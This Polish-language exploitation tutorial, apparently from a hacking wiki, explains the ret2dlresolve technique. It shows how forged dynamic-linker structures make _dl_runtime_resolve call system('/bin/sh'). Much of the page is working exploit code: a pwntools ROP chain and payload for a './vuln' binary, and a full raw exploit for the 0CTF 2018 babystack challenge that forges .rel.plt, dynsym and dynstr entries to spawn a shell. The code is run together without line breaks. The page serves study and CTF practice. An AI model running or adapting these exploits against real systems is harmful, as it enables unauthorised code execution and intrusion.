Jak wyjaśniono na stronie dotyczącej GOT/PLT i Relro, binarne pliki bez pełnego Relro będą rozwiązywać symbole (takie jak adresy do zewnętrznych bibliotek) za pierwszym razem, gdy zostaną użyte. To rozwiązanie następuje poprzez wywołanie funkcji _dl_runtime_resolve.
Funkcja _dl_runtime_resolve pobiera ze stosu odwołania do pewnych struktur, których potrzebuje do rozwiązania określonego symbolu.
Dlatego możliwe jest podrobienie wszystkich tych struktur, aby dynamiczne łączenie rozwiązało żądany symbol (np. funkcję system) i wywołało go z skonfigurowanym parametrem (np. system('/bin/sh')).
Zazwyczaj wszystkie te struktury są fałszowane poprzez utworzenie początkowego łańcucha ROP, który wywołuje read na zapisywalnej pamięci, a następnie przekazywane są struktury i łańcuch '/bin/sh', aby zostały przechowywane przez read w znanym miejscu, a następnie łańcuch ROP kontynuuje wywołując _dl_runtime_resolve, mając go rozwiązać adres system w fałszywych strukturach i wywołać ten adres z adresem do $'/bin/sh'.
Ta technika jest szczególnie przydatna, zwłaszcza jeśli nie ma gadżetów systemowych (do użycia technik takich jak ret2syscall lub SROP) i nie ma sposobów na wyciek adresów libc.
Sprawdź ten filmik, aby uzyskać ładne wyjaśnienie tej techniki w drugiej połowie filmu:
Lub sprawdź te strony, aby uzyskać krok po kroku wyjaśnienie:
Ustaw pierwszy argument systemu ($rdi = &'/bin/sh')
Ustaw na stosie adresy do struktur, aby wywołać _dl_runtime_resolve
Wywołaj _dl_runtime_resolve
system zostanie rozwiązany i wywołany z '/bin/sh' jako argumentem
Z dokumentacji pwntools wynika, że atak ret2dlresolve wygląda następująco:
context.binary = elf =ELF(pwnlib.data.elf.ret2dlresolve.get('amd64'))>>> rop =ROP(elf)>>> dlresolve =Ret2dlresolvePayload(elf, symbol="system", args=["echo pwned"])>>> rop.read(0, dlresolve.data_addr)# do not forget this step, but use whatever function you like>>> rop.ret2dlresolve(dlresolve)>>> raw_rop = rop.chain()>>>print(rop.dump())0x0000:0x400593 pop rdi; ret0x0008:0x0 [arg0] rdi =00x0010:0x400591 pop rsi; pop r15; ret0x0018:0x601e00 [arg1] rsi =62991360x0020:b'iaaajaaa'<pad r15>0x0028:0x4003f0 read0x0030:0x400593 pop rdi; ret0x0038:0x601e48 [arg0] rdi =62992080x0040:0x4003e0 [plt_init] system0x0048:0x15670 [dlresolve index]
Przykład
Czyste narzędzie Pwntools
Możesz znaleźć przykład tej techniki tutajz bardzo dobrą wyjaśnieniem końcowego łańcucha ROP, ale tutaj jest używany ostateczny exploit:
from pwn import*elf = context.binary =ELF('./vuln', checksec=False)p = elf.process()rop =ROP(elf)# create the dlresolve objectdlresolve =Ret2dlresolvePayload(elf, symbol='system', args=['/bin/sh'])rop.raw('A'*76)rop.read(0, dlresolve.data_addr)# read to where we want to write the fake structuresrop.ret2dlresolve(dlresolve)# call .plt and dl-resolve() with the correct, calculated reloc_offsetlog.info(rop.dump())p.sendline(rop.chain())p.sendline(dlresolve.payload)# now the read is called and we pass all the relevant structures inp.interactive()
Surowy
# Code from https://guyinatuxedo.github.io/18-ret2_csu_dl/0ctf18_babystack/index.html# This exploit is based off of: https://github.com/sajjadium/ctf-writeups/tree/master/0CTFQuals/2018/babystackfrom pwn import*target =process('./babystack')#gdb.attach(target)elf =ELF('babystack')# Establish starts of various sectionsbss =0x804a020dynstr =0x804822cdynsym =0x80481ccrelplt =0x80482b0# Establish two functionsscanInput =p32(0x804843b)resolve =p32(0x80482f0)#dlresolve address# Establish size of second payloadpayload1_size =43# Our first scan# This will call read to scan in our fake entries into the plt# Then return back to scanInput to re-exploit the bugpayload0 =""payload0 +="0"*44# Filler from start of input to return addresspayload0 +=p32(elf.symbols['read'])# Return readpayload0 += scanInput # After the read call, return to scan inputpayload0 +=p32(0)# Read via stdinpayload0 +=p32(bss)# Scan into the start of the bsspayload0 +=p32(payload1_size)# How much data to scan intarget.send(payload0)# Our second scan# This will be scanned into the start of the bss# It will contain the fake entries for our ret_2_dl_resolve attack# Calculate the r_info value# It will provide an index to our dynsym entrydynsym_offset = ((bss +0xc) - dynsym) /0x10r_info = (dynsym_offset <<8) |0x7# Calculate the offset from the start of dynstr section to our dynstr entrydynstr_index = (bss +28) - dynstrpaylaod1 =""# Our .rel.plt entrypaylaod1 +=p32(elf.got['alarm'])paylaod1 +=p32(r_info)# Emptypaylaod1 +=p32(0x0)# Our dynsm entrypaylaod1 +=p32(dynstr_index)paylaod1 +=p32(0xde)*3# Our dynstr entrypaylaod1 +="system\x00"# Store "/bin/sh" here so we can have a pointer ot itpaylaod1 +="/bin/sh\x00"target.send(paylaod1)# Our third scan, which will execute the ret_2_dl_resolve# This will just call 0x80482f0, which is responsible for calling the functions for resolving# We will pass it the `.rel.plt` index for our fake entry# As well as the arguments for system# Calculate address of "/bin/sh"binsh_bss_address = bss +35# Calculate the .rel.plt offsetret_plt_offset = bss - relpltpaylaod2 =""paylaod2 +="0"*44paylaod2 += resolve # 0x80482f0paylaod2 +=p32(ret_plt_offset)# .rel.plt offsetpaylaod2 +=p32(0xdeadbeef)# The next return address after 0x80482f0, really doesn't matter for uspaylaod2 +=p32(binsh_bss_address)# Our argument, address of "/bin/sh"target.send(paylaod2)# Enjoy the shell!target.interactive()
32-bitowy, brak relro, brak canary, nx, brak pie, podstawowy mały przepełnienie buforu i powrót. Aby go wykorzystać, przepełnienie buforu jest używane do ponownego wywołania read z sekcją .bss i większym rozmiarem, aby przechować w niej fałszywe tabele dlresolve do załadowania system, powrót do funkcji main i ponowne wykorzystanie początkowego przepełnienia buforu do wywołania dlresolve, a następnie system('/bin/sh').